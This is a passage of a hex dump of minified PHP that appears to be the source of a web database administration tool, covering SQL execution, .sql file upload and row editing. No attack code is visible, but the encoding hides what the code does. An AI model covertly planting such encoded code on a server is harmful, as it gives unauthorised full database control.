78 70 6C 61 69 6E 2D 6F 75 74 70 75 74 2E 68 74 6D 6C 23 65 78 70 6C 61
69 6E 5F 22 3A 22 22 29 2C 24 59 64 29 3B 65 63 68 6F 22 3C 2F 64 69 76
3E 5C 6E 22 3B 7D 65 6C 73 65 0A 65 63 68 6F 24 61 63 3B 65 63 68 6F 22
3C 2F 66 6F 72 6D 3E 5C 6E 22 3B 7D 7D 65 6C 73 65 7B 69 66 28 70 72 65
67 5F 6D 61 74 63 68 28 22 7E 5E 24 6B 66 2A 28 43 52 45 41 54 45 7C 44
52 4F 50 7C 41 4C 54 45 52 29 24 6B 66 2B 28 44 41 54 41 42 41 53 45 7C
53 43 48 45 4D 41 29 5C 5C 62 7E 69 73 55 22 2C 24 48 29 29 7B 72 65 73
74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29 3B 73 65 74 5F 73 65 73 73 69
6F 6E 28 22 64 62 73 22 2C 6E 75 6C 6C 29 3B 73 74 6F 70 5F 73 65 73 73
69 6F 6E 28 29 3B 7D 69 66 28 21 24 5F 50 4F 53 54 5B 22 6F 6E 6C 79 5F
65 72 72 6F 72 73 22 5D 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27
6D 65 73 73 61 67 65 27 20 74 69 74 6C 65 3D 27 22 2E 68 28 24 67 2D 3E
69 6E 66 6F 29 2E 22 27 3E 22 2E 6C 61 6E 67 28 61 72 72 61 79 28 27 51
75 65 72 79 20 65 78 65 63 75 74 65 64 20 4F 4B 2C 20 25 64 20 72 6F 77
20 61 66 66 65 63 74 65 64 2E 27 2C 27 51 75 65 72 79 20 65 78 65 63 75
74 65 64 20 4F 4B 2C 20 25 64 20 72 6F 77 73 20 61 66 66 65 63 74 65 64
2E 27 29 2C 24 67 2D 3E 61 66 66 65 63 74 65 64 5F 72 6F 77 73 29 2E 22
24 4B 66 5C 6E 22 3B 7D 24 6D 66 3D 24 4D 62 3B 7D 77 68 69 6C 65 28 24
67 2D 3E 6E 65 78 74 5F 72 65 73 75 6C 74 28 29 29 3B 24 68 64 2B 3D 73
75 62 73 74 72 5F 63 6F 75 6E 74 28 24 48 2E 24 70 63 2C 22 5C 6E 22 29
3B 24 49 3D 73 75 62 73 74 72 28 24 49 2C 24 48 64 29 3B 24 48 64 3D 30
3B 7D 7D 7D 7D 69 66 28 24 4C 62 29 65 63 68 6F 22 3C 70 20 63 6C 61 73
73 3D 27 6D 65 73 73 61 67 65 27 3E 22 2E 27 4E 6F 20 63 6F 6D 6D 61 6E
64 73 20 74 6F 20 65 78 65 63 75 74 65 2E 27 2E 22 5C 6E 22 3B 65 6C 73
65 69 66 28 24 5F 50 4F 53 54 5B 22 6F 6E 6C 79 5F 65 72 72 6F 72 73 22
5D 29 7B 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73 73 61 67
65 27 3E 22 2E 6C 61 6E 67 28 61 72 72 61 79 28 27 25 64 20 71 75 65 72
79 20 65 78 65 63 75 74 65 64 20 4F 4B 2E 27 2C 27 25 64 20 71 75 65 72
69 65 73 20 65 78 65 63 75 74 65 64 20 4F 4B 2E 27 29 2C 24 55 61 2D 63
6F 75 6E 74 28 24 52 62 29 29 2C 22 20 3C 73 70 61 6E 20 63 6C 61 73 73
3D 27 74 69 6D 65 27 3E 28 22 2E 66 6F 72 6D 61 74 5F 74 69 6D 65 28 24
54 66 2C 6D 69 63 72 6F 74 69 6D 65 28 29 29 2E 22 29 3C 2F 73 70 61 6E
3E 5C 6E 22 3B 7D 65 6C 73 65 69 66 28 24 52 62 26 26 24 55 61 3E 31 29
65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 65 72 72 6F 72 27 3E 22 2E
27 45 72 72 6F 72 20 69 6E 20 71 75 65 72 79 27 2E 22 3A 20 22 2E 69 6D
70 6C 6F 64 65 28 22 22 2C 24 52 62 29 2E 22 5C 6E 22 3B 7D 65 6C 73 65
0A 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 65 72 72 6F 72 27 3E 22
2E 75 70 6C 6F 61 64 5F 65 72 72 6F 72 28 24 49 29 2E 22 5C 6E 22 3B 7D
65 63 68 6F 27 0A 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65
74 68 6F 64 3D 22 70 6F 73 74 22 20 65 6E 63 74 79 70 65 3D 22 6D 75 6C
74 69 70 61 72 74 2F 66 6F 72 6D 2D 64 61 74 61 22 20 69 64 3D 22 66 6F
72 6D 22 3E 0A 3C 70 3E 27 3B 24 48 3D 24 5F 47 45 54 5B 22 73 71 6C 22
5D 3B 69 66 28 24 5F 50 4F 53 54 29 24 48 3D 24 5F 50 4F 53 54 5B 22 71
75 65 72 79 22 5D 3B 65 6C 73 65 69 66 28 24 5F 47 45 54 5B 22 68 69 73
74 6F 72 79 22 5D 3D 3D 22 61 6C 6C 22 29 24 48 3D 24 42 63 3B 65 6C 73
65 69 66 28 24 5F 47 45 54 5B 22 68 69 73 74 6F 72 79 22 5D 21 3D 22 22
29 24 48 3D 24 42 63 5B 24 5F 47 45 54 5B 22 68 69 73 74 6F 72 79 22 5D
5D 5B 30 5D 3B 74 65 78 74 61 72 65 61 28 22 71 75 65 72 79 22 2C 24 48
2C 32 30 29 3B 65 63 68 6F 28 24 5F 50 4F 53 54 3F 22 22 3A 22 3C 73 63
72 69 70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72 69
70 74 27 3E 66 6F 63 75 73 28 64 6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C
65 6D 65 6E 74 73 42 79 54 61 67 4E 61 6D 65 28 27 74 65 78 74 61 72 65
61 27 29 5B 30 5D 29 3B 3C 2F 73 63 72 69 70 74 3E 5C 6E 22 29 2C 22 3C
70 3E 22 2E 28 69 6E 69 5F 62 6F 6F 6C 28 22 66 69 6C 65 5F 75 70 6C 6F
61 64 73 22 29 3F 27 46 69 6C 65 20 75 70 6C 6F 61 64 27 2E 27 3A 20 3C
69 6E 70 75 74 20 74 79 70 65 3D 22 66 69 6C 65 22 20 6E 61 6D 65 3D 22
73 71 6C 5F 66 69 6C 65 5B 5D 22 20 6D 75 6C 74 69 70 6C 65 27 2E 28 24
5F 46 49 4C 45 53 26 26 24 5F 46 49 4C 45 53 5B 22 73 71 6C 5F 66 69 6C
65 22 5D 5B 22 65 72 72 6F 72 22 5D 5B 30 5D 21 3D 34 3F 27 27 3A 27 20
6F 6E 63 68 61 6E 67 65 3D 22 74 68 69 73 2E 66 6F 72 6D 5B 5C 27 6F 6E
6C 79 5F 65 72 72 6F 72 73 5C 27 5D 2E 63 68 65 63 6B 65 64 20 3D 20 74
72 75 65 3B 22 27 29 2E 27 3E 20 28 26 6C 74 3B 20 27 2E 69 6E 69 5F 67
65 74 28 22 75 70 6C 6F 61 64 5F 6D 61 78 5F 66 69 6C 65 73 69 7A 65 22
29 2E 27 42 29 27 3A 27 46 69 6C 65 20 75 70 6C 6F 61 64 73 20 61 72 65
20 64 69 73 61 62 6C 65 64 2E 27 29 2C 27 3C 70 3E 0A 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 45 78
65 63 75 74 65 22 20 74 69 74 6C 65 3D 22 43 74 72 6C 2B 45 6E 74 65 72
22 3E 0A 27 2C 63 68 65 63 6B 62 6F 78 28 22 65 72 72 6F 72 5F 73 74 6F
70 73 22 2C 31 2C 24 5F 50 4F 53 54 5B 22 65 72 72 6F 72 5F 73 74 6F 70
73 22 5D 2C 27 53 74 6F 70 20 6F 6E 20 65 72 72 6F 72 27 29 2E 22 5C 6E
22 2C 63 68 65 63 6B 62 6F 78 28 22 6F 6E 6C 79 5F 65 72 72 6F 72 73 22
2C 31 2C 24 5F 50 4F 53 54 5B 22 6F 6E 6C 79 5F 65 72 72 6F 72 73 22 5D
2C 27 53 68 6F 77 20 6F 6E 6C 79 20 65 72 72 6F 72 73 27 29 2E 22 5C 6E
22 3B 70 72 69 6E 74 5F 66 69 65 6C 64 73 65 74 28 22 77 65 62 66 69 6C
65 22 2C 27 46 72 6F 6D 20 73 65 72 76 65 72 27 2C 24 5F 50 4F 53 54 5B
22 77 65 62 66 69 6C 65 22 5D 2C 22 64 6F 63 75 6D 65 6E 74 2E 67 65 74
45 6C 65 6D 65 6E 74 42 79 49 64 28 27 66 6F 72 6D 27 29 5B 27 6F 6E 6C
79 5F 65 72 72 6F 72 73 27 5D 2E 63 68 65 63 6B 65 64 20 3D 20 74 72 75
65 3B 20 22 29 3B 65 63 68 6F 0A 73 70 72 69 6E 74 66 28 27 57 65 62 73
65 72 76 65 72 20 66 69 6C 65 20 25 73 27 2C 22 3C 63 6F 64 65 3E 61 64
6D 69 6E 65 72 2E 73 71 6C 22 2E 28 65 78 74 65 6E 73 69 6F 6E 5F 6C 6F
61 64 65 64 28 22 7A 6C 69 62 22 29 3F 22 5B 2E 67 7A 5D 22 3A 22 22 29
2E 22 3C 2F 63 6F 64 65 3E 22 29 2C 27 20 3C 69 6E 70 75 74 20 74 79 70
65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 77 65 62 66 69 6C 65
22 20 76 61 6C 75 65 3D 22 27 2E 27 52 75 6E 20 66 69 6C 65 27 2E 27 22
3E 27 2C 22 3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73 65 74 3E 5C 6E 22
3B 69 66 28 24 42 63 29 7B 70 72 69 6E 74 5F 66 69 65 6C 64 73 65 74 28
22 68 69 73 74 6F 72 79 22 2C 27 48 69 73 74 6F 72 79 27 2C 24 5F 47 45
54 5B 22 68 69 73 74 6F 72 79 22 5D 21 3D 22 22 29 3B 66 6F 72 28 24 58
3D 65 6E 64 28 24 42 63 29 3B 24 58 3B 24 58 3D 70 72 65 76 28 24 42 63
29 29 7B 24 79 3D 6B 65 79 28 24 42 63 29 3B 6C 69 73 74 28 24 48 2C 24
4B 66 29 3D 24 58 3B 65 63 68 6F 27 3C 61 20 68 72 65 66 3D 22 27 2E 68
28 4D 45 2E 22 73 71 6C 3D 26 68 69 73 74 6F 72 79 3D 24 79 22 29 2E 27
22 3E 27 2E 27 45 64 69 74 27 2E 22 3C 2F 61 3E 20 3C 73 70 61 6E 20 63
6C 61 73 73 3D 27 74 69 6D 65 27 20 74 69 74 6C 65 3D 27 22 2E 40 64 61
74 65 28 27 59 2D 6D 2D 64 27 2C 24 4B 66 29 2E 22 27 3E 22 2E 40 64 61
74 65 28 22 48 3A 69 3A 73 22 2C 24 4B 66 29 2E 22 3C 2F 73 70 61 6E 3E
20 3C 63 6F 64 65 20 63 6C 61 73 73 3D 27 6A 75 73 68 2D 24 78 27 3E 22
2E 73 68 6F 72 74 65 6E 5F 75 74 66 38 28 6C 74 72 69 6D 28 73 74 72 5F
72 65 70 6C 61 63 65 28 22 5C 6E 22 2C 22 20 22 2C 73 74 72 5F 72 65 70
6C 61 63 65 28 22 5C 72 22 2C 22 22 2C 70 72 65 67 5F 72 65 70 6C 61 63
65 28 27 7E 5E 28 23 7C 2D 2D 20 29 2E 2A 7E 6D 27 2C 27 27 2C 24 48 29
29 29 29 2C 38 30 2C 22 3C 2F 63 6F 64 65 3E 22 29 2E 22 3C 62 72 3E 5C
6E 22 3B 7D 65 63 68 6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75
62 6D 69 74 27 20 6E 61 6D 65 3D 27 63 6C 65 61 72 27 20 76 61 6C 75 65
3D 27 22 2E 27 43 6C 65 61 72 27 2E 22 27 3E 5C 6E 22 2C 22 3C 61 20 68
72 65 66 3D 27 22 2E 68 28 4D 45 2E 22 73 71 6C 3D 26 68 69 73 74 6F 72
79 3D 61 6C 6C 22 29 2E 22 27 3E 22 2E 27 45 64 69 74 20 61 6C 6C 27 2E
22 3C 2F 61 3E 5C 6E 22 2C 22 3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73
65 74 3E 5C 6E 22 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65
3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76
61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27
3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 65 64
69 74 22 5D 29 29 7B 24 61 3D 24 5F 47 45 54 5B 22 65 64 69 74 22 5D 3B
24 6E 3D 66 69 65 6C 64 73 28 24 61 29 3B 24 5A 3D 28 69 73 73 65 74 28
24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29 3F 28 63 6F 75 6E 74 28
24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 29 3D 3D 31 3F 77 68 65 72
65 5F 63 68 65 63 6B 28 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 5B
30 5D 2C 24 6E 29 3A 22 22 29 3A 77 68 65 72 65 28 24 5F 47 45 54 2C 24
6E 29 29 3B 24 6B 67 3D 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 65
6C 65 63 74 22 5D 29 3F 24 5F 50 4F 53 54 5B 22 65 64 69 74 22 5D 3A 24
5A 29 3B 66 6F 72 65 61 63 68 28 24 6E 0A 61 73 24 45 3D 3E 24 6D 29 7B
69 66 28 21 69 73 73 65 74 28 24 6D 5B 22 70 72 69 76 69 6C 65 67 65 73
22 5D 5B 24 6B 67 3F 22 75 70 64 61 74 65 22 3A 22 69 6E 73 65 72 74 22
5D 29 7C 7C 24 62 2D 3E 66 69 65 6C 64 4E 61 6D 65 28 24 6D 29 3D 3D 22
22 29 75 6E 73 65 74 28 24 6E 5B 24 45 5D 29 3B 7D 69 66 28 24 5F 50 4F
53 54 26 26 21 24 6C 26 26 21 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73
65 6C 65 63 74 22 5D 29 29 7B 24 41 3D 24 5F 50 4F 53 54 5B 22 72 65 66
65 72 65 72 22 5D 3B 69 66 28 24 5F 50 4F 53 54 5B 22 69 6E 73 65 72 74
22 5D 29 24 41 3D 28 24 6B 67 3F 6E 75 6C 6C 3A 24 5F 53 45 52 56 45 52
5B 22 52 45 51 55 45 53 54 5F 55 52 49 22 5D 29 3B 65 6C 73 65 69 66 28
21 65 72 65 67 28 27 5E 2E 2B 26 73 65 6C 65 63 74 3D 2E 2B 24 27 2C 24
41 29 29 24 41 3D 4D 45 2E 22 73 65 6C 65 63 74 3D 22 2E 75 72 6C 65 6E
63 6F 64 65 28 24 61 29 3B 24 76 3D 69 6E 64 65 78 65 73 28 24 61 29 3B
24 66 67 3D 75 6E 69 71 75 65 5F 61 72 72 61 79 28 24 5F 47 45 54 5B 22
77 68 65 72 65 22 5D 2C 24 76 29 3B 24 45 65 3D 22 5C 6E 57 48 45 52 45
20 24 5A 22 3B 69 66 28 69 73 73 65 74 28 24 5F 50 4F 53 54 5B 22 64 65
6C 65 74 65 22 5D 29 29 7B 24 49 3D 22 46 52 4F 4D 20 22 2E 74 61 62 6C
65 28 24 61 29 3B 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28 22 44 45
4C 45 54 45 22 2E 28 24 66 67 3F 22 20 24 49 24 45 65 22 3A 6C 69 6D 69
74 31 28 24 49 2C 24 45 65 29 29 2C 24 41 2C 27 49 74 65 6D 20 68 61 73
20 62 65 65 6E 20 64 65 6C 65 74 65 64 2E 27 29 3B 7D 65 6C 73 65 7B 24
50 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 6E 0A 61 73 24
45 3D 3E 24 6D 29 7B 24 58 3D 70 72 6F 63 65 73 73 5F 69 6E 70 75 74 28
24 6D 29 3B 69 66 28 24 58 21 3D 3D 66 61 6C 73 65 26 26 24 58 21 3D 3D
6E 75 6C 6C 29 24 50 5B 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 5D 3D
28 24 6B 67 3F 22 5C 6E 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 45 29
2E 22 20 3D 20 24 58 22 3A 24 58 29 3B 7D 69 66 28 24 6B 67 29 7B 69 66
28 21 24 50 29 72 65 64 69 72 65 63 74 28 24 41 29 3B 24 49 3D 74 61 62
6C 65 28 24 61 29 2E 22 20 53 45 54 22 2E 69 6D 70 6C 6F 64 65 28 22 2C
22 2C 24 50 29 3B 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28 22 55 50
44 41 54 45 22 2E 28 24 66 67 3F 22 20 24 49 24 45 65 22 3A 6C 69 6D 69
74 31 28 24 49 2C 24 45 65 29 29 2C 24 41 2C 27 49 74 65 6D 20 68 61 73
20 62 65 65 6E 20 75 70 64 61 74 65 64 2E 27 29 3B 7D 65 6C 73 65 7B 24
4A 3D 69 6E 73 65 72 74 5F 69 6E 74 6F 28 24 61 2C 24 50 29 3B 24 61 64
3D 28 24 4A 3F 6C 61 73 74 5F 69 64 28 29 3A 30 29 3B 71 75 65 72 69 65
73 5F 72 65 64 69 72 65 63 74 28 24 41 2C 73 70 72 69 6E 74 66 28 27 49
74 65 6D 25 73 20 68 61 73 20 62 65 65 6E 20 69 6E 73 65 72 74 65 64 2E
27 2C 28 24 61 64 3F 22 20 24 61 64 22 3A 22 22 29 29 2C 24 4A 29 3B 7D
7D 7D 24 7A 66 3D 24 62 2D 3E 74 61 62 6C 65 4E 61 6D 65 28 74 61 62 6C
65 5F 73 74 61 74 75 73 31 28 24 61 2C 74 72 75 65 29 29 3B 70 61 67 65
5F 68 65 61 64 65 72 28 28 24 6B 67 3F 27 45 64 69 74 27 3A 27 49 6E 73
65 72 74 27 29 2C 24 6C 2C 61 72 72 61 79 28 22 73 65 6C 65 63 74 22 3D
3E 61 72 72 61 79 28 24 61 2C 24 7A 66 29 29 2C 24 7A 66 29 3B 24 4C 3D
6E 75 6C 6C 3B 69 66 28 24 5F 50 4F 53 54 5B 22 73 61 76 65 22 5D 29 24
4C 3D 28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 66 69 65 6C 64 73 22
5D 3B 65 6C 73 65 69 66 28 24 5A 29 7B 24 4E 3D 61 72 72 61 79 28 29 3B
66 6F 72 65 61 63 68 28 24 6E 0A 61 73 24 45 3D 3E 24 6D 29 7B 69 66 28
69 73 73 65 74 28 24 6D 5B 22 70 72 69 76 69 6C 65 67 65 73 22 5D 5B 22
73 65 6C 65 63 74 22 5D 29 29 7B 24 73 61 3D 63 6F 6E 76 65 72 74 5F 66
69 65 6C 64 28 24 6D 29 3B 69 66 28 24 5F 50 4F 53 54 5B 22 63 6C 6F 6E
65 22 5D 26 26 24 6D 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22
5D 29 24 73 61 3D 22 27 27 22 3B 69 66 28 24 78 3D 3D 22 73 71 6C 22 26
26 65 72 65 67 28 22 65 6E 75 6D 7C 73 65 74 22 2C 24 6D 5B 22 74 79 70
65 22 5D 29 29 24 73 61 3D 22 31 2A 22 2E 69 64 66 5F 65 73 63 61 70 65
28 24 45 29 3B 24 4E 5B 5D 3D 28 24 73 61 3F 22 24 73 61 20 41 53 20 22
3A 22 22 29 2E 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 3B 7D 7D 24 4C
3D 61 72 72 61 79 28 29 3B 69 66 28 24 4E 29 7B 24 4D 3D 67 65 74 5F 72
6F 77 73 28 22 53 45 4C 45 43 54 22 2E 6C 69 6D 69 74 28 69 6D 70 6C 6F
64 65 28 22 2C 20 22 2C 24 4E 29 2E 22 20 46 52 4F 4D 20 22 2E 74 61 62
6C 65 28 24 61 29 2C 22 20 57 48 45 52 45 20 24 5A 22 2C 28 69 73 73 65
74 28 24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29 3F 32 3A 31 29 29
29 3B 24 4C 3D 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 65 6C 65 63
74 22 5D 29 26 26 63 6F 75 6E 74 28 24 4D 29 21 3D 31 3F 6E 75 6C 6C 3A
72 65 73 65 74 28 24 4D 29 29 3B 7D 7D 69 66 28 24 4C 3D 3D 3D 66 61 6C
73 65 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 65 72 72 6F 72 27
3E 22 2E 27 4E 6F 20 72 6F 77 73 2E 27 2E 22 5C 6E 22 3B 65 63 68 6F 27
0A 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D
22 70 6F 73 74 22 20 65 6E 63 74 79 70 65 3D 22 6D 75 6C 74 69 70 61 72
74 2F 66 6F 72 6D 2D 64 61 74 61 22 20 69 64 3D 22 66 6F 72 6D 22 3E 0A
27 3B 69 66 28 21 24 6E 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27
65 72 72 6F 72 27 3E 22 2E 27 59 6F 75 20 68 61 76 65 20 6E 6F 20 70 72
69 76 69 6C 65 67 65 73 20 74 6F 20 75 70 64 61 74 65 20 74 68 69 73 20
74 61 62 6C 65 2E 27 2E 22 5C 6E 22 3B 65 6C 73 65 7B 65 63 68 6F 22 3C
74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 20 6F 6E
6B 65 79 64 6F 77 6E 3D 27 72 65 74 75 72 6E 20 65 64 69 74 69 6E 67 4B
65 79 64 6F 77 6E 28 65 76 65 6E 74 29 3B 27 3E 5C 6E 22 3B 66 6F 72 65
61 63 68 28 24 6E 0A 61 73 24 45 3D 3E 24 6D 29 7B 65 63 68 6F 22 3C 74
72 3E 3C 74 68 3E 22 2E 24 62 2D 3E 66 69 65 6C 64 4E 61 6D 65 28 24 6D
29 3B 24 70 62 3D 24 5F 47 45 54 5B 22 73 65 74 22 5D 5B 62 72 61 63 6B
65 74 5F 65 73 63 61 70 65 28 24 45 29 5D 3B 69 66 28 24 70 62 3D 3D 3D
6E 75 6C 6C 29 7B 24 70 62 3D 24 6D 5B 22 64 65 66 61 75 6C 74 22 5D 3B
69 66 28 24 6D 5B 22 74 79 70 65 22 5D 3D 3D 22 62 69 74 22 26 26 65 72
65 67 28 22 5E 62 27 28 5B 30 31 5D 2A 29 27 5C 24 22 2C 24 70 62 2C 24
4E 65 29 29 24 70 62 3D 24 4E 65 5B 31 5D 3B 7D 24 59 3D 28 24 4C 21 3D
3D 6E 75 6C 6C 3F 28 24 4C 5B 24 45 5D 21 3D 22 22 26 26 24 78 3D 3D 22
73 71 6C 22 26 26 65 72 65 67 28 22 65 6E 75 6D 7C 73 65 74 22 2C 24 6D
5B 22 74 79 70 65 22 5D 29 3F 28 69 73 5F 61 72 72 61 79 28 24 4C 5B 24
45 5D 29 3F 61 72 72 61 79 5F 73 75 6D 28 24 4C 5B 24 45 5D 29 3A 2B 24
4C 5B 24 45 5D 29 3A 24 4C 5B 24 45 5D 29 3A 28 21 24 6B 67 26 26 24 6D
5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 3F 22 22 3A 28 69
73 73 65 74 28 24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29 3F 66 61
6C 73 65 3A 24 70 62 29 29 29 3B 69 66 28 21 24 5F 50 4F 53 54 5B 22 73
61 76 65 22 5D 26 26 69 73 5F 73 74 72 69 6E 67 28 24 59 29 29 24 59 3D
24 62 2D 3E 65 64 69 74 56 61 6C 28 24 59 2C 24 6D 29 3B 24 71 3D 28 24
5F 50 4F 53 54 5B 22 73 61 76 65 22 5D 3F 28 73 74 72 69 6E 67 29 24 5F
50 4F 53 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 5B 24 45 5D 3A 28 24 6B
67 26 26 24 6D 5B 22 6F 6E 5F 75 70 64 61 74 65 22 5D 3D 3D 22 43 55 52
52 45 4E 54 5F 54 49 4D 45 53 54 41 4D 50 22 3F 22 6E 6F 77 22 3A 28 24
59 3D 3D 3D 66 61 6C 73 65 3F 6E 75 6C 6C 3A 28 24 59 21 3D 3D 6E 75 6C
6C 3F 27 27 3A 27 4E 55 4C 4C 27 29 29 29 29 3B 69 66 28 65 72 65 67 28
22 74 69 6D 65 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 24 59 3D 3D
22 43 55 52 52 45 4E 54 5F 54 49 4D 45 53 54 41 4D 50 22 29 7B 24 59 3D
22 22 3B 24 71 3D 22 6E 6F 77 22 3B 7D 69 6E 70 75 74 28 24 6D 2C 24 59
2C 24 71 29 3B 65 63 68 6F 22 5C 6E 22 3B 7D 65 63 68 6F 22 3C 2F 74 61
62 6C 65 3E 5C 6E 22 3B 7D 65 63 68 6F 27 3C 70 3E 0A 27 3B 69 66 28 24
6E 29 7B 65 63 68 6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75 62
6D 69 74 27 20 76 61 6C 75 65 3D 27 22 2E 27 53 61 76 65 27 2E 22 27 3E
5C 6E 22 3B 69 66 28 21 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 65 6C
65 63 74 22 5D 29 29 65 63 68 6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D
27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 69 6E 73 65 72 74 27 20 76
61 6C 75 65 3D 27 22 2E 28 24 6B 67 3F 27 53 61 76 65 20 61 6E 64 20 63
6F 6E 74 69 6E 75 65 20 65 64 69 74 27 3A 27 53 61 76 65 20 61 6E 64 20
69 6E 73 65 72 74 20 6E 65 78 74 27 29 2E 22 27 20 74 69 74 6C 65 3D 27
43 74 72 6C 2B 53 68 69 66 74 2B 45 6E 74 65 72 27 3E 5C 6E 22 3B 7D 65
63 68 6F 28 24 6B 67 3F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75
62 6D 69 74 27 20 6E 61 6D 65 3D 27 64 65 6C 65 74 65 27 20 76 61 6C 75
65 3D 27 22 2E 27 44 65 6C 65 74 65 27 2E 22 27 20 6F 6E 63 6C 69 63 6B
3D 5C 22 72 65 74 75 72 6E 20 63 6F 6E 66 69 72 6D 28 27 22 2E 27 41 72
65 20 79 6F 75 20 73 75 72 65 3F 27 2E 22 27 29 3B 5C 22 3E 5C 6E 22 3A
28 24 5F 50 4F 53 54 7C 7C 21 24 6E 3F 22 22 3A 22 3C 73 63 72 69 70 74
20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 27 3E
66 6F 63 75 73 28 64 6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E
74 42 79 49 64 28 27 66 6F 72 6D 27 29 2E 67 65 74 45 6C 65 6D 65 6E 74
73 42 79 54 61 67 4E 61 6D 65 28 27 74 64 27 29 5B 31 5D 2E 66 69 72 73
74 43 68 69 6C 64 29 3B 3C 2F 73 63 72 69 70 74 3E 5C 6E 22 29 29 3B 69
66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29
29 68 69 64 64 65 6E 5F 66 69 65 6C 64 73 28 61 72 72 61 79 28 22 63 68
65 63 6B 22 3D 3E 28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 63 68 65
63 6B 22 5D 2C 22 63 6C 6F 6E 65 22 3D 3E 24 5F 50 4F 53 54 5B 22 63 6C
6F 6E 65 22 5D 2C 22 61 6C 6C 22 3D 3E 24 5F 50 4F 53 54 5B 22 61 6C 6C
22 5D 29 29 3B 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68
69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 72 65 66 65 72 65 72 22 20 76 61
6C 75 65 3D 22 27 2C 68 28 69 73 73 65 74 28 24 5F 50 4F 53 54 5B 22 72
65 66 65 72 65 72 22 5D 29 3F 24 5F 50 4F 53 54 5B 22 72 65 66 65 72 65
72 22 5D 3A 24 5F 53 45 52 56 45 52 5B 22 48 54 54 50 5F 52 45 46 45 52
45 52 22 5D 29 2C 27 22 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68
69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 61 76 65 22 20 76 61 6C 75 65
3D 22 31 22 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65
6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D 22 27
2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73 65 69
66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 63 72 65 61 74 65 22 5D 29
29 7B 24 61 3D 24 5F 47 45 54 5B 22 63 72 65 61 74 65 22 5D 3B 24 69 65
3D 61 72 72 61 79 28 27 48 41 53 48 27 2C 27 4C 49 4E 45 41 52 20 48 41
53 48 27 2C 27 4B 45 59 27 2C 27 4C 49 4E 45 41 52 20 4B 45 59 27 2C 27
52 41 4E 47 45 27 2C 27 4C 49 53 54 27 29 3B 24 4A 65 3D 72 65 66 65 72
65 6E 63 61 62 6C 65 5F 70 72 69 6D 61 72 79 28 24 61 29 3B 24 70 3D 61
72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 4A 65 0A 61 73 24 7A 66
3D 3E 24 6D 29 24 70 5B 73 74 72 5F 72 65 70 6C 61 63 65 28 22 60 22 2C
22 60 60 22 2C 24 7A 66 29 2E 22 60 22 2E 73 74 72 5F 72 65 70 6C 61 63
65 28 22 60 22 2C 22 60 60 22 2C 24 6D 5B 22 66 69 65 6C 64 22 5D 29 5D
3D 24 7A 66 3B 24 62 65 3D 61 72 72 61 79 28 29 3B 24 52 3D 61 72 72 61
